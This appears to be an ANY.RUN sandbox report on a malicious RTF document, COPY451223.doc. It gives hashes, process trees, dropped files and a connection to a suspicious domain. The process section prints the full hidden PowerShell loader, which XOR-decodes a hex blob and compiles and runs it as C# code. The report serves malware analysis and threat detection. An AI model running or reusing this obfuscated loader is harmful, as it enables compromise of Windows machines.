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File name:

COPY451223.doc

Full analysis: https://app.any.run/tasks/78136fde-ed4a-4731-86d6-ac2987b9a95c
Verdict: Malicious activity
Analysis date: September 18, 2019, 18:35:24
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
generated-doc
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

C5C703790F61135548961CB3B16D4DF0

SHA1:

10255D5AC18E25CD5EAF9C757A5EFF2A0DAC19A6

SHA256:

DF9FD04955293472FAAFDBB2FF3163C4FD8916ABCD190F4884F6F453734325B2

SSDEEP:

768:oZMrYyYDE+qR18d3ncYgIrffBKo8yRG9XUc4K9IQriN1Q/VuNU8f9/D/6HQIID7S:oZdRVXcirffa0hyH6D7vc64An1S

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts Visual C# compiler

      • powershell.exe (PID: 3644)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3684)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3644)

    • Executed via WMI

      • powershell.exe (PID: 3644)

    • PowerShell script executed

      • powershell.exe (PID: 3644)

    • Executed via COM

      • excelcnv.exe (PID: 1008)
      • EXCEL.EXE (PID: 3616)

    • Uses RUNDLL32.EXE to load library

      • WINWORD.EXE (PID: 3684)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3684)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3616)
      • WINWORD.EXE (PID: 3684)
      • excelcnv.exe (PID: 1008)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)

EXIF

RTF

InternalVersionNumber: 57435
CharactersWithSpaces: 4
Characters: 4
Words: -
Pages: 1
TotalEditTime: -
RevisionNumber: 1
ModifyDate: 2019:01:07 23:54:00
CreateDate: 2019:01:07 23:54:00
LastModifiedBy: Admin
Author: Admin
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
7
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winword.exe no specs excel.exe no specs powershell.exe excelcnv.exe no specs csc.exe cvtres.exe no specs rundll32.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3684"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\COPY451223.doc.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
3616"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
3644powershell -WindowStyle Hidden function r8a21 { param($v3d2a) $dd717 = 'yccadbb';$g52f7ba = ''; for ($i = 0; $i -lt $v3d2a.length; $i+=2) { $zad526d = [convert]::ToByte($v3d2a.Substring($i, 2), 16); $g52f7ba += [char]($zad526d -bxor $dd717[($i / 2) % $dd717.length]); } return $g52f7ba; } $lbc469e = '0c100a0f034231001017040959170a0a0d0644311b0a17060c4a301717170a0c014c2b171706130b12311c111508070711421610080a05422a1a1015010f4c3d0a02060a0d110d0a00125f1711100d0441371b110d060e4f2d2d590c100a0f03423100101704094c2c1c17586c6e12171b0f0a0244010e181010410e01534a05183a200e0e300e130e16164a5b0806130a070e4a51414d210c160b1a330e0d0c1644412404103210160022050010070a1041483942120c010f080742110d021708074207011706130a422b171733151642171c5a5056054a2b171733151642084f565a55574e110d110a0f0342061f5b05594d59393d0f0f2809120d0b174b430f071017060f5256404e59260d15161b32160a0d15445f425b2f0c00002e0b1b1102131d404b24431314060e0b1a43101505160b1a43061910071017432a0f1032160b430b525d06074a4b1015160b0c1e4317045555531f524a5a3f260e152a0e110b101651410804160c071550514348422717171118340d0b17175e43320b100d16020d34100d0d060015464b3f59131603080b0159101700100b0159061b1501100c59010c0e0842071a0051054c2b0c0d331713440053185b5b4d312b0c0d331713441b511c01544d44170b171743195107531a5b4f410b171659160a0f1042161a0702594d59393d0f0f2809120d0b174b432f071017060f52564c06150f414d44270c0d111a310b0b0c0d5e4133100e2f1615062c010f0d0b1a414d4431070d2f02121027100b0c115c02030e0a064a3c44111618170a0244071a0d06110f44140d1007431851565b4c4b2a0f1032160b430e000055011b514f280a16320d1143110107571b4f0a0f10421618550157575b4b42131603080b0159101700100b01590a0d154406014b0600584c4b19300d1731101042155250005c5654595e4309575b061c504b135c0350484b41505c5207485353595003524f53065051404b50580a074c0e534a025b55525f5f300d173110104c2306110e4d190516170c4115035b4f07581c2d0c16291711410b04071d515054591707405054004c0e534a025b55524e10410251504c40514153065054525a4a5453505451534e51525052525549515356555240504a5808024a0d1f06075357575f442a0d15341610573906130b4b191e0c170e4413034055075a19372b171733151642081802575251075f51362a0f1032160b4a565a110b0c0d431b070753034f545e515f0b0451420602075006510c05040050514c4f09000556514c064f511c5652550c1615441a041a520257534b4b02040c150b4213185a55055f1f200017063a3942071b060650565f19491b505048521a1f054f511c5b5204582a0f1032160b431600010700442e0213170a03154d220d080d0131240f0e06030e51504a5a2903100a0b020d4a210d091a4b0406070748514f514817031c06014d574b5900565758514a0c1c1443280a16320d114b0e0207064b50564f300d2b171755554c4b49491b535155004b5516020401004e4a4a5810055b541d594336010021150a060f1042081c5b5155505f0c1c144336010021150a060f104a4b421017130d0c055901555357555f3c0d1508160d0c14060d154a25070d250c0d000710290217094c270c0f0a110e0a0f0717174d3214070110020f270b0e061c114d2014120e100002150d0d0c3d0217004d4940253f17050654515b481159055053514156565454531b5357434d59081c5b5155504c2616140d0d0b03063f0a0f044c105a18515249465353485452565553534e565b550057544857525555545618535a5106520648505351555156185352510053564d005251555a534e570752005354485552565553534852555353565a4c5651505150574951575507530148015357464b4e1b555152534b5929110c020111112a170213102b0c1f0c4315565b074b5e0d041342320b0c00041711310d0211152d0c04164b0157565155505833130b01070a104d321003100d4b17535d0750505811041017101743535a1912171b0f0a0244111618170a024411160b0a0d0644105a18515249171610100d04410954001a5b4a1a171610100d04410e54574057505c461b011a0207030640590a1711080a054211505a0501515f2a1711080a054c3c0e13151d590416114b080a1642105e535a0d5e0f4f0100594a2e07170417095f0b4944514a1a061b161c4316045d5155185e200e0a14070b174d350b201b0d064b0c520001414d30140611160b0a0d064c0b4e4b4a4f50524b5911505a05015149444b000905104b51160658575503593d430b52575b4d5038490d4d50504346410e54574057504f28070c1e170b3c4d591f0b061714160c4211505a05015159041e'; $lbc469e2 = r8a21($lbc469e); Add-Type -TypeDefinition $lbc469e2; [jc13f]::dc2ec9(); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1008"C:\Program Files\Microsoft Office\Office14\excelcnv.exe" -EmbeddingC:\Program Files\Microsoft Office\Office14\excelcnv.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
2216"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\mwqpylgg.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
2772C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESB2EA.tmp" "c:\Users\admin\AppData\Local\Temp\CSCB2E9.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
2928"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Local\Temp\.DS_StoreC:\Windows\system32\rundll32.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 902
Read events
1 437
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
4
Unknown types
8

Dropped files

PID
Process
Filename
Type
3684WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9AFC.tmp.cvr —
MD5:—
SHA256:—
3616EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRA7CE.tmp.cvr —
MD5:—
SHA256:—
3644powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HN9MGHT81QRXRHWJ625B.temp —
MD5:—
SHA256:—
1008excelcnv.exeC:\Users\admin\AppData\Local\Temp\CVRAF4F.tmp.cvr —
MD5:—
SHA256:—
1008excelcnv.exeC:\Users\admin\AppData\Local\Temp\~DF648C2AA45FC67E1D.TMP —
MD5:—
SHA256:—
3684WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFE9DBCCF904D8827E.TMP —
MD5:—
SHA256:—
2772cvtres.exeC:\Users\admin\AppData\Local\Temp\RESB2EA.tmp —
MD5:—
SHA256:—
2216csc.exeC:\Users\admin\AppData\Local\Temp\mwqpylgg.dll —
MD5:—
SHA256:—
2216csc.exeC:\Users\admin\AppData\Local\Temp\mwqpylgg.out —
MD5:—
SHA256:—
3684WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B5A33FCD-50B2-4889-BE6F-6C7D5C5DB571}.tmp —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3644
powershell.exe
162.241.128.67:443
www.kitpcr.com
CyrusOne LLC
US
unknown

DNS requests

Domain
IP
Reputation
www.kitpcr.com
  • 162.241.128.67
suspicious

Threats

No threats detected
Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
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Reports
COPY451223.doc